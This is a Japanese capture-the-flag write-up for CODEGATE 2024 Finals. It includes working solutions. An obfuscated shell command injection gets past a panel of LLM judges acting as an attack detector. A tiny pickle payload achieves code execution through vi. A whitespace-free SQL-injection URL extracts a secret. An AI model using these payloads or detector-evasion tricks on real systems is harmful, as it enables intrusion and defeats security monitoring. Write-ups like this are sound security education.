CODEGATE CTF 2024 Final (Junior Division) に韓国まで行ってきました。
結果は 4 位でした、賞金が 3 位までで悲しい…
旅行では韓国語が全くわからなくて困ったが、英語でギリギリ耐えてました。
予選の Writeup はこっちです。 hiikunz.hatenablog.com
ai
firewall
import requests import time import json import os import sys from colorama.ansi import clear_screen from colorama import Fore, Back, Style import hashlib import string import random import signal col = [Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] ai_url = os.environ.get('AI_URL') if ai_url == None: import sys print("[!] AI_URL not specified") sys.exit(0) def submit_request(prompt, request_url = f"http://{ai_url}/api/chat", stream = False): req = { "model": "llama3", "messages": prompt, "stream": stream } resp = requests.post(request_url, json=req) return resp.json() def main(): command_injection = input("[PING] User input:") user_query = [ { "role": "system", "content": "From now on, please format your responses in JSON. There should be one keys: 'answer' (boolean)" }, { "role": "user", "content": f"***********************[PRIVATE]*************************" }, ] ai_check = { "Melchior-Magi 1": False, "Balthasar-Magi 2": False, "Casper-Magi 3": False, "IKON-Magi 4": False, "LOL-Magi 5": False, "TOM-Magi 6": False, "SIL-Magi 7": False, "Kore-Magi 8": False, "Vfor-Magi 9": False, "Ben-Magi 10": False, } for ai_name in ai_check.keys(): result = submit_request(user_query) message = result.get("message") if not message: continue content = message.get("content") if not content: continue if content.find("```json") != -1: content = content[content.find("```json") + 7:] if content.find("```") != -1: content = content[:content.find("```")] else: continue try: check_firewall_json = json.loads(content) except json.decoder.JSONDecodeError: continue answer_result = check_firewall_json.get("answer") if not answer_result: continue ai_check[ai_name] = answer_result true_values = [v for v in ai_check.values() if v is False] aver = len(true_values) / len(ai_check.keys()) if aver < 0.5: import os os.system(f"/bin/sh -c \"ping -c 4 {command_injection}\"") input(f"\n{Fore.GREEN}Press any key to continue...{Style.RESET_ALL}") else: print(f"\nThere is a {Fore.RED}{aver*100}%{Style.RESET_ALL} chance that it is detected as an attack.\n") print(f"----------------{Fore.BLUE}[Evangelion artificial intelligence Firewall]{Style.RESET_ALL}----------------") co_co = 0 for ai_name, value in ai_check.items(): if not value: print(f"🤖 {col[co_co % len(col)]}{ai_name}{Style.RESET_ALL} - [{Back.LIGHTRED_EX}{value}{Style.RESET_ALL}]") else: print(f"🤖 {col[co_co % len(col)]}{ai_name}{Style.RESET_ALL} - [{Back.LIGHTGREEN_EX}{value}{Style.RESET_ALL}]") co_co += 1 print("-----------------------------------------------------------------------------") input(f"\n{Fore.GREEN}Press any key to continue...{Style.RESET_ALL}") salt_length = 16 difficulty = 4 def load_balancing(): rand_str = ''.join(random.sample(string.ascii_letters + string.digits, salt_length + difficulty)) salt = "".join(rand_str[:salt_length]) correct_str = "".join(rand_str[salt_length:]) hash_str = hashlib.sha256(rand_str.encode()).hexdigest() print(f"sha256({salt} + {'X' * difficulty}) == {hash_str}") input_str = input("Give me X: ") if input_str == correct_str: return False return True if __name__ == "__main__": signal.alarm(300) if load_balancing(): print("failed.") sys.exit(0) for _ in range(5): os.system("clear") main()
AI の問題。POW を通したあと、ping -c 4 <任意の入力> を実行できるが、AI に 5/10 以上検知されると実行できない。
いろいろやると、127.0.0. 1 | ls のようにごまかすことで、検知されないようにできた。
あとは実行するだけ。
[PING] User input:127.0.0. 1 | cat flag codegate2024{8872770a6f1a24d1b9a79d01e15be22d551ab1b7ce19de4679856b79fe2bacb059806db37391c86d919f140542625200b1fb} ping: 127.0.0.: Name or service not known
junior 全体で first blood :drop_of_blood:
crypto
galois
import os ROUNDS = 23 def pad(data): padlen = 8 - (len(data) % 8) data += bytes([padlen] * padlen) return data class Encryptor: n = 0x10000000247f43cb7 def __init__(self, key): self.key = int.from_bytes(key, 'big') def encrypt(self, data): iv = os.urandom(8) enc = iv iv = int.from_bytes(iv, 'big') for i in range(0, len(data), 8): block = data[i:i + 8] encb = self.encrypt_block(int.from_bytes(block, 'big'), iv) iv = encb enc += encb.to_bytes(8, 'big') return enc def encrypt_block(self, block, iv) -> int: enc = block ^ iv for i in range(1, ROUNDS): enc = self.m(enc, self.p(self.key, i)) return enc def m(self, x, y): tmp, res = x, 0 while y: if y & 1: res = res ^ tmp y = y >> 1 tmp = tmp << 1 if tmp >> 64: tmp = tmp ^ self.n return res def p(self, x, y): tmp, res = x, 1 while y: if y & 1: res = self.m(res, tmp) y = y >> 1 tmp = self.m(tmp, tmp) return res if __name__ == "__main__": flag = open('flag.txt', 'r').read() key = os.urandom(8) cipher = Encryptor(key) print(cipher.encrypt(pad(flag.encode())).hex())
よくわからないので chatGPT に聞いた。
上で、
m 関数は乗算、p 関数は累乗をしているらしい。
結局各ブロックで、1 個前の暗号文 と XOR してから を掛け算しているだけ。
最初のブロックの平文が
codegate なのを知っているので、 を求めて復号。
from Crypto.Util.number import long_to_bytes from Crypto.Util.Padding import unpad S = bytes.fromhex("0eb55bf3adef35f536c63ce928fb47b0eb8475f75bd2c2d437fa08524319a4e71c6eb6d47c1ae229222faecca73ee61ba01f736da51d387459f7cd30f58de560") iv = S[:8] iv = int.from_bytes(iv, 'big') enc = S[8:] first_m = int.from_bytes(b"codegate", 'big') ^^ iv n = 0x10000000247F43CB7 f = 0 for i in range(65): if n & (1 << i): f += x^i k = GF(2^64,"x",modulus=f) c = enc[:8] c = int.from_bytes(c, 'big') key = k.from_integer(c) / k.from_integer(first_m) iv = c flag=b""x for i in range(16, len(enc) + 8, 8): c = S[i:i+8] c = int.from_bytes(c, 'big') m = k.from_integer(c) / key m = m.integer_representation() flag += long_to_bytes(m ^^ iv) iv = c print(b"codegate" + unpad(flag, 16))
flag: codegate2024{G4l0is_Fi3ld_4lwaYs_HAunTs_M3_oN_CTF_d4Y5}
misc
MIC CHECK
#!/usr/bin/env -S bash -c 'docker build -t mic-check . && docker run -p 1557:1557 -d --rm mic-check' FROM python:alpine RUN apk update && apk add socat COPY flag /flag EXPOSE 1557 CMD socat -T10 -t10 tcp-l:1557,reuseaddr,fork EXEC:"python3 -c \"__import__('pickle').loads(__import__('sys').stdin.read(16).encode('ASCII').replace(b'sh',b''))\"",su=nobody,stderr
16 文字以下の pickle を読み込んでくれるが、sh が消されてしまう。
pickle で RCE といえば、__reduce__ だが、その手法だと文字数制限が厳しい。
この記事 を参考に、とりあえず os.system("ls") を実行する pickle を作成してみる。
(S"ls" ios system
改行込みだと 17 文字、足りない。
pickle の実装 を読むと、V を使うことで quote が必要なくなりそう。
(Vls ios system
あとは shell を起動したいが、sh が消されてしまうのをなんとかしたい。
SECCON 2021 で出題された hitchhike のように、builtins.help() を呼び出すことも考えたが、ページャーが多分 cat なので shell は取れない。
他に 2 文字のコマンド… vi だ!
(Vvi ios system
思惑通り、vi が実行されたので、: → !cat flag で flag を取得。
flag: codegate2024{fbe5d4d9bc8ad518e84f00249a28de6327d018f401f77a0c87a938af3901b7fc6ecbd0346a7b8d9c253121f42626415a69ac037f6b860e12c693a3c07c}
rev
PY Lover
python 関係の実行ファイルの解析をする問題。

なんか pydata みたいなチャンクがあったので、いろいろググって取り出す。
objcopy --dump-section pydata=pydata.dump prob python3 pyinstxtractor.py pydata.dump
[+] Processing pydata.dump [+] Pyinstaller version: 2.1+ [+] Python version: 3.11 [+] Length of package: 7025197 bytes [+] Found 30 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: prob.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: pydata.dump You can now use a python decompiler on the pyc files within the extracted directory
たぶん prob.pyc が本体。pydisasm でディスアセンブラ。
# pydisasm version 6.1.1
# Python bytecode 3.11 (3495)
# Disassembled from Python 3.12.5 (main, Aug 6 2024, 19:08:49) [Clang 15.0.0 (clang-1500.3.9.4)]
# Timestamp in code: 0 (1970-01-01 09:00:00)
# Source code size mod 2**32: 0 bytes
# Method Name: <module>
# Filename: prob.py
# Argument count: 0
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 0
# Stack size: 5
# Flags: 0x00000000 (0x0)
# First Line: 1
# Constants:
# 0: 1269
# 1: ("'''&''", "'''&$)", '$"\'"$#', '$*$\'$"', "$''#$&", "$'$)$#", "$*'&$&", '$($*$"', '$%$$$%', '$#$"$!', '$"\'"\'$', "$#'&$&", "$&$#'&", "$*$&'&", '\'#$"\'%', '$%$#$!', '$"$(\'"', "'#$!$%", '$"$!\'&', '$)$*$#', "'#$#'$", "$$$$'&", '\'"\'#\'$', "$#$('$", '$#$!$"', "$('&'%")
# 2: <Code311 code object encoding at 0x1030e5970, file prob.py>, line 6
# 3: <Code311 code object string_check at 0x1030e5d00, file prob.py>, line 15
# 4: '__main__'
# 5: 'input: '
# 6: 'Correct!!'
# 7: 'codegate2024{'
# 8: '}'
# 9: 'Wrong!!'
# 10: None
# Names:
# 0: magic
# 1: code_list
# 2: encoding
# 3: string_check
# 4: __name__
# 5: input
# 6: flag
# 7: print
4: 0 RESUME 0
45: 2 LOAD_CONST (1269)
4 STORE_GLOBAL (magic)
6 BUILD_LIST 0
8 LOAD_CONST (("'''&''", "'''&$)", '$"\'"$#', '$*$\'$"', "$''#$&", "$'$)$#", "$*'&$&", '$($*$"', '$%$$$%', '$#$"$!', '$"\'"\'$', "$#'&$&", "$&$#'&", "$*$&'&", '\'#$"\'%', '$%$#$!', '$"$(\'"', "'#$!$%", '$"$!\'&', '$)$*$#', "'#$#'$", "$$$$'&", '\'"\'#\'$', "$#$('$", '$#$!$"', "$('&'%"))
57: 10 LIST_EXTEND 1
12 STORE_NAME (code_list)
14 LOAD_CONST (<Code311 code object encoding at 0x1030e5970, file prob.py>, line 6)
16 MAKE_FUNCTION (No arguments)
18 STORE_NAME (encoding)
20 LOAD_CONST (<Code311 code object string_check at 0x1030e5d00, file prob.py>, line 15)
22 MAKE_FUNCTION (No arguments)
24 STORE_NAME (string_check)
26 LOAD_NAME (__name__)
28 LOAD_CONST ("__main__")
30 COMPARE_OP (==)
36 POP_JUMP_FORWARD_IF_FALSE (to 164)
38 PUSH_NULL
40 LOAD_NAME (input)
42 LOAD_CONST ("input: ")
44 PRECALL 1
48 CALL 1
58 STORE_NAME (flag)
60 PUSH_NULL
62 LOAD_NAME (string_check)
64 LOAD_NAME (flag)
66 PRECALL 1
70 CALL 1
80 POP_JUMP_FORWARD_IF_FALSE (to 138)
82 PUSH_NULL
84 LOAD_NAME (print)
86 LOAD_CONST ("Correct!!")
88 PRECALL 1
92 CALL 1
102 POP_TOP
104 PUSH_NULL
106 LOAD_NAME (print)
108 LOAD_CONST ("codegate2024{")
110 LOAD_NAME (flag)
112 FORMAT_VALUE 0
114 LOAD_CONST ("}")
116 BUILD_STRING 3
118 PRECALL 1
122 CALL 1
132 POP_TOP
134 LOAD_CONST (None)
136 RETURN_VALUE
62: >> 138 PUSH_NULL
140 LOAD_NAME (print)
142 LOAD_CONST ("Wrong!!")
144 PRECALL 1
148 CALL 1
158 POP_TOP
160 LOAD_CONST (None)
162 RETURN_VALUE
>> 164 LOAD_CONST (None)
166 RETURN_VALUE
# Method Name: encoding
# Filename: prob.py
# Argument count: 1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 5
# Stack size: 10
# Flags: 0x00000003 (NEWLOCALS | OPTIMIZED)
# First Line: 6
# Constants:
# 0: None
# 1: '!"#$%&\'()*+,-./:'
# 2: ''
# 3: <Code311 code object <genexpr> at 0x102eda5d0, file prob.py>, line 8
# 4: 0
# 5: 4
# 6: 2
# Names:
# 0: join
# 1: range
# 2: len
# 3: append
# 4: int
# Varnames:
# string, encode_list, expanded_string, encoded_string, i
# Positional arguments:
# string
# Local variables:
# 1: encode_list
# 2: expanded_string
# 3: encoded_string
# 4: i
6: 0 RESUME 0
2 LOAD_CONST ('!"#$%&\'()*+,-./:')
4 STORE_FAST (encode_list)
6 LOAD_CONST ("")
8 LOAD_METHOD (join)
30 LOAD_CONST (<Code311 code object <genexpr> at 0x102eda5d0, file prob.py>, line 8)
32 MAKE_FUNCTION (No arguments)
34 LOAD_FAST (string)
36 GET_ITER
38 PRECALL 0
42 CALL 0
52 PRECALL 1
56 CALL 1
66 STORE_FAST (expanded_string)
68 BUILD_LIST 0
70 STORE_FAST (encoded_string)
72 LOAD_GLOBAL (NULL + range)
84 LOAD_CONST (0)
86 LOAD_GLOBAL (NULL + len)
98 LOAD_FAST (expanded_string)
100 PRECALL 1
104 CALL 1
114 LOAD_CONST (4)
116 PRECALL 3
120 CALL 3
130 GET_ITER
132 FOR_ITER (to 242)
134 STORE_FAST (i)
136 LOAD_FAST (encoded_string)
138 LOAD_METHOD (append)
160 LOAD_FAST (encode_list)
162 LOAD_GLOBAL (NULL + int)
174 LOAD_FAST (expanded_string)
176 LOAD_FAST (i)
178 LOAD_FAST (i)
180 LOAD_CONST (4)
182 BINARY_OP 0
186 BUILD_SLICE 2
188 BINARY_SUBSCR
198 LOAD_CONST (2)
200 PRECALL 2
204 CALL 2
214 BINARY_SUBSCR
224 PRECALL 1
228 CALL 1
238 POP_TOP
240 JUMP_BACKWARD (to 132)
>> 242 LOAD_CONST ("")
244 LOAD_METHOD (join)
266 LOAD_FAST (encoded_string)
268 PRECALL 1
272 CALL 1
282 RETURN_VALUE
# Method Name: string_check
# Filename: prob.py
# Argument count: 1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 3
# Stack size: 4
# Flags: 0x00000003 (NEWLOCALS | OPTIMIZED)
# First Line: 15
# Constants:
# 0: None
# 1: 16
# 2: False
# 3: 4095
# 4: 10
# 5: '03x'
# 6: True
# Names:
# 0: int
# 1: magic
# 2: format
# 3: encoding
# 4: code_list
# 5: pop
# Varnames:
# string, data, code
# Positional arguments:
# string
# Local variables:
# 1: data
# 2: code
15: 0 RESUME 0
2 NOP
4 LOAD_GLOBAL (NULL + int)
16 LOAD_FAST (string)
18 LOAD_CONST (16)
20 PRECALL 2
24 CALL 2
34 STORE_FAST (data)
36 JUMP_FORWARD (to 54)
>> 38 PUSH_EXC_INFO
40 POP_TOP
42 POP_EXCEPT
44 LOAD_CONST (False)
46 RETURN_VALUE
>> 48 COPY 3
50 POP_EXCEPT
52 RERAISE 1
>> 54 LOAD_FAST (data)
56 POP_JUMP_FORWARD_IF_FALSE (to 228)
58 LOAD_FAST (data)
60 LOAD_CONST (4095)
62 BINARY_OP 1
66 LOAD_GLOBAL (magic)
78 BINARY_OP 12
82 STORE_GLOBAL (magic)
84 LOAD_FAST (data)
86 LOAD_CONST (10)
88 BINARY_OP 22
92 STORE_FAST (data)
94 LOAD_GLOBAL (NULL + format)
106 LOAD_GLOBAL (magic)
118 LOAD_CONST ("03x")
120 PRECALL 2
124 CALL 2
134 STORE_FAST (code)
136 LOAD_GLOBAL (NULL + encoding)
148 LOAD_FAST (code)
150 PRECALL 1
154 CALL 1
164 LOAD_GLOBAL (code_list)
176 LOAD_METHOD (pop)
198 PRECALL 0
202 CALL 0
212 COMPARE_OP (!=)
218 POP_JUMP_FORWARD_IF_FALSE (to 224)
220 LOAD_CONST (False)
222 RETURN_VALUE
>> 224 LOAD_FAST (data)
226 POP_JUMP_BACKWARD_IF_TRUE (to 58)
>> 228 LOAD_CONST (True)
230 RETURN_VALUE
ExceptionTable:
4 to 34 -> 38 [0]
38 to 40 -> 48 [1] lasti
# Method Name: <genexpr>
# Filename: prob.py
# Argument count: 1
# Position-only argument count: 0
# Keyword-only arguments: 0
# Number of locals: 2
# Stack size: 6
# Flags: 0x00000033 (GENERATOR | NESTED | NEWLOCALS | OPTIMIZED)
# First Line: 8
# Constants:
# 0: '08b'
# 1: None
# Names:
# 0: format
# 1: ord
# Varnames:
# .0, x
# Positional arguments:
# .0
# Local variables:
# 1: x
8: 0 RETURN_GENERATOR
2 POP_TOP
4 RESUME 0
6 LOAD_FAST (.0)
8 FOR_ITER (to 76)
10 STORE_FAST (x)
12 LOAD_GLOBAL (NULL + format)
24 LOAD_GLOBAL (NULL + ord)
36 LOAD_FAST (x)
38 PRECALL 1
42 CALL 1
52 LOAD_CONST ("08b")
54 PRECALL 2
58 CALL 2
68 YIELD_VALUE
70 RESUME 1
72 POP_TOP
74 JUMP_BACKWARD (to 8)
>> 76 LOAD_CONST (None)
78 RETURN_VALUE
よくわからんので claude に投げて、人力で若干修正した。
def encoding(string): encode_list = '!"#$%&\'()*+,-./:' expanded_string = ''.join(format(ord(x), '08b') for x in string) encoded_string = [] for i in range(0, len(expanded_string), 4): encoded_string.append(encode_list[int(expanded_string[i:i+4], 2)]) return ''.join(encoded_string) def string_check(string): try: data = int(string, 16) except: return False magic = 1269 while data: magic = (data & 0xFFF) ^ magic data >>= 10 code = format(magic, '03x') if encoding(code) != code_list.pop(): return False return True
あとは python コードを書く。
def decoding(encoded_string): encode_list = "!\"#$%&'()*+,-./:" decode_map = {char: format(i, "04b") for i, char in enumerate(encode_list)} binary_string = "".join(decode_map[char] for char in encoded_string) original_string = "".join( chr(int(binary_string[i : i + 8], 2)) for i in range(0, len(binary_string), 8) ) return original_string code_list = [ "'''&''", "'''&$)", '$"\'"$#', "$*$'$\"", "$''#$&", "$'$)$#", "$*'&$&", '$($*$"', "$%$$$%", '$#$"$!', "$\"'\"'$", "$#'&$&", "$&$#'&", "$*$&'&", "'#$\"'%", "$%$#$!", '$"$(\'"', "'#$!$%", "$\"$!'&", "$)$*$#", "'#$#'$", "$$$$'&", "'\"'#'$", "$#$('$", '$#$!$"', "$('&'%", ] ans = 0 magic = 1269 for i in range(len(code_list)): c = code_list[-1 - i] m = decoding(c) I = int(m, 16) x = I ^ magic ans |= x << (10 * i) magic = I print(hex(ans)[2:])
flag: codegate{1e4a30fd40df679d3a5893bcd27cb1c243cf55a9fa0a673be049823007d7b318}
web
ShieldOSINT
すごい量のソースコードで書かれた kotlin アプリ。
1 つめの 脆弱性なのか仕様なのかよくわからないものが、ここ。
class ShieldCloud : AuthenticationSuccessHandler { override fun onAuthenticationSuccess( request: HttpServletRequest, response: HttpServletResponse, authentication: Authentication ) { val authorities: MutableList<GrantedAuthority> = authentication.authorities.toMutableList() val shieldParamdata = request.getParameter("ShieldParam") var user_role: String = "false" if (shieldParamdata != null) { try { val shieldParamNode: JsonNode = ObjectMapper().readTree(shieldParamdata) val shieldParam = shieldParamNode!!.get("user_role") println("shieldParam: ${shieldParam} type: ${shieldParam::class.simpleName}") user_role = shieldParam?.toString() ?: "false" if (user_role == "true") { authorities.add(SimpleGrantedAuthority("ROLE_USER")) } } catch (e: JsonParseException) { authorities.add(SimpleGrantedAuthority("ROLE_USER")) } catch (e: Exception) { authorities.add(SimpleGrantedAuthority("ROLE_ADMIN")) } } else { authorities.add(SimpleGrantedAuthority("ROLE_USER")) } val newAuth = UsernamePasswordAuthenticationToken( authentication.principal, authentication.credentials, authorities ) SecurityContextHolder.getContext().authentication = newAuth response.sendRedirect("/") } }
ログイン時に、ShieldParam のデータをなんやかんややって、エラーが出たら ROLE_ADMIN を付与している。どういうこと…?
これは、ShieldParam に {} とかを入れれば OK 。
ROLE_ADMIN があれば、これらの API が使える。
@RequestMapping("/api/v6/shieldosint") @Controller class ApiController(private val userService: UserService) { @EndPointManager @PreAuthorize("isAuthenticated()") @GetMapping("/query") @ResponseBody fun query( principal: Principal, @RequestParam("q") sessioncheck: String ): String { try { if (sessioncheck != "Y") { return "Username: ${principal.name}<br>Session: null" } val requestAttributes = RequestContextHolder.getRequestAttributes() as ServletRequestAttributes val request: HttpServletRequest = requestAttributes.request val sessionId = request.session.id val siteUser = userService!!.getUser(principal.name) userService.sessionAdd( siteUser = siteUser, session = sessionId ) return "Username: ${principal.name}<br>Session: ${siteUser.session}<br>Add Success!" } catch (e: Exception) { return "Error" } } @EndPointManager @PreAuthorize("isAuthenticated()") @GetMapping("/search") @ResponseBody fun search( principal: Principal, @RequestParam("s", required = false, defaultValue = "testQuery") searchcheck: String = "", @RequestParam("q", required = false, defaultValue = "") querycheck: String = "", @RequestParam("mp", required = false, defaultValue = "") magiccheck: String = "" ): String { try { val siteUser = userService!!.getUser(principal.name) if (siteUser.session != "null") { val reflectionController = ReflectionController() val dataProvider = DataProvider() dataProvider.initializeDatabase() val methodName = searchcheck val defaultQueryResult = reflectionController.reflectMethod(methodName) val query = querycheck if (query.isNotEmpty()) { val customQueryResult = reflectionController.reflectMethod(methodName, query, magiccheck) return "Query Result: $customQueryResult" } else { return "Query Result: $defaultQueryResult" } } else { return "session null ${siteUser.username}<br>${siteUser.session}" } } catch (e: Exception) { return "Error" } } }
/api/v6/shieldosint/query?q=Y にアクセスしてセッションを取得すると、/api/v6/shieldosint/search での検索ができるようになる。
/api/v6/shieldosint/search で呼び出される reflectionController.reflectMethod(methodName, query, magiccheck) を見てみる。
class ReflectionController { fun reflectMethod( methodName: String, query: String? = null, magicParam: Any? = null ): String { return try { val clazz = DataProvider::class val instance = clazz.createInstance() val method: KCallable<*>? = clazz.declaredFunctions.firstOrNull { it.name == methodName } if (method != null) { if (query != null && query.isNotEmpty()) { when (magicParam) { is String -> { val finalQuery = query.split(" ")[2] method.call(instance, finalQuery) as String } is Int -> { val finalQuery = query.split(" ").last() method.call(instance, finalQuery) as String } is Boolean -> { val finalQuery = query.split(" ").first() method.call(instance, finalQuery) as String } else -> method.call(instance, query) as String } } else { method.call(instance, "") as String } } else { "Method not found" } } catch (e: Exception) { "An error occurred: ${e.message}" } } }
ここから呼び出せる中で使えそうな関数は、以下のselectQuery 関数。
filterQuery に引っかからなければ自由に SQLi できる。
class DataProvider {
fun filterQuery(query: String): String {
val hasWhitespace = Regex("\\s")
val containsRuntime = Regex("(?i)runtime")
val containsJava = Regex("(?i)java")
val special_check1 = Regex("/")
val special_check2 = Regex("\\*")
val special_check3 = Regex("%")
val special_check4 = Regex("(?i)DROP")
val special_check5 = Regex("(?i)DELETE")
val isLengthValid = query.length <= 40
if (hasWhitespace.containsMatchIn(query) || containsRuntime.containsMatchIn(query) || containsJava.containsMatchIn(query) || special_check1.containsMatchIn(query) || special_check2.containsMatchIn(query) || special_check3.containsMatchIn(query) || special_check4.containsMatchIn(query) || special_check5.containsMatchIn(query) || !isLengthValid) {
return ""
}
return query
}
fun selectQuery(query: String = ""): String {
val selectSQL = "SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10"
val filteredQuery = filterQuery(query)
val finalQuery = if (filteredQuery.isNotBlank()) "$selectSQL $filteredQuery" else selectSQL
println("Executing SQL: $finalQuery")
try {
getConnection().use { connection ->
connection.createStatement().use { statement ->
val resultSet = statement.executeQuery(finalQuery)
val results = StringBuilder()
while (resultSet.next()) {
results.append(resultSet.getString(1)).append("\n")
}
return results.toString().trim()
}
}
} catch (e: SQLException) {
e.printStackTrace()
}
return "fail"
}
}
フィルターは括弧を使って SELECT SUBJECT FROM QUESTION WHERE ID>=1 and ID<=10 UNION(SELECT(sdata)FROM(SITE_SECRET)) みたいにすれば回避できる。
フラグは sdata テーブルの SITE_SECRET にあるらしいので、例えば次のようなリンクにリクエストすればフラグが降ってくる。
/api/v6/shieldosint/search?s=selectQuery&mp=a&q=a%20a%20UNION(SELECT(sdata)FROM(SITE_SECRET))
flag: codegate2024{f5166a150003aef6c35bb3b2add171bf}